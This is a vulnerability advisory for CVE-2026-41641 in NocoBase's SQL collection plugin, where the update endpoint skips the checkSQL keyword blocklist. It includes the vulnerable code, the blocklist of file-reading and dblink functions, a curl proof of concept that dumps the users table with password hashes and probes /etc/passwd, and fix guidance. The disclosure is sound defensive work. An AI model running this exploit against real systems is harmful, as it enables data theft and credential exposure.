CVE-2026-41641

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql
Affected versions: <= 2.0.32 (confirmed)
Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

// Line 51-60, execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
    const { sql } = ctx.action.params.values || {};
    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
    // ...
}

checkSQL is NOT applied on update

// Line 105-118, update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
    const transaction = await ctx.app.db.sequelize.transaction();
    try {
        const { upRes } = await updateCollection(ctx, transaction);
        // No checkSQL() call anywhere in this path!
        const [collection] = upRes;
        await collection.load({ transaction, resetFields: true });
        await transaction.commit();
    }
    // ...
}

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
  ];
  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

PoC

TOKEN="<admin_jwt_token>"

# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exfil_collection",
    "sql": "SELECT 1 as id",
    "fields": [{"name": "id", "type": "integer"}],
    "template": "sql"
  }'

# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"

# Step 3: Update with dangerous SQL, bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sql": "SELECT * FROM users",
    "fields": [
      {"name": "id", "type": "integer"},
      {"name": "email", "type": "string"},
      {"name": "password", "type": "string"}
    ]
  }'
# Returns: 200 OK, no validation!

# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
  -H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes

Fix Suggestion

1. Add checkSQL() to the update action. The one-line fix:

   update: async (ctx: Context, next: Next) => {
       const { sql } = ctx.action.params.values || {};
       if (sql) {
           try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
       }
       // ... existing code ...
   }
   

2. Centralize validation in middleware rather than per-action. Apply checkSQL in the resource middleware for any action that accepts a sql field, so future actions cannot accidentally skip it.

3. Strengthen the blocklist. The current list is missing COPY (PostgreSQL file I/O and RCE), CREATE, ALTER, DROP, GRANT, SET, and EXECUTE. Consider switching to a parser-based allowlist that only permits SELECT and WITH ... SELECT at the AST level rather than relying on keyword blocklisting.

• Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes.
• Integrity/Availability: Although checkSQL strips after the first semicolon, dangerous single-statement operations like SELECT ... INTO, subqueries with side effects, or database-specific functions (pg_read_file, LOAD_FILE, dblink) are all accessible through the update bypass.
• Privilege escalation: On PostgreSQL, dblink enables lateral movement to other databases. pg_read_file reads arbitrary files from the database server filesystem.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-41641 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.39); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-41641? CVE-2026-41641 is a high-severity SQL injection vulnerability in @nocobase/plugin-collection-sql (npm), affecting versions < 2.0.39. It is fixed in 2.0.39. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2026-41641? CVE-2026-41641 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @nocobase/plugin-collection-sql are affected by CVE-2026-41641? @nocobase/plugin-collection-sql (npm) versions < 2.0.39 is affected.
4. Is there a fix for CVE-2026-41641? Yes. CVE-2026-41641 is fixed in 2.0.39. Upgrade to this version or later.
5. Is CVE-2026-41641 exploitable, and should I be worried? Whether CVE-2026-41641 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41641 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41641? Upgrade @nocobase/plugin-collection-sql to 2.0.39 or later.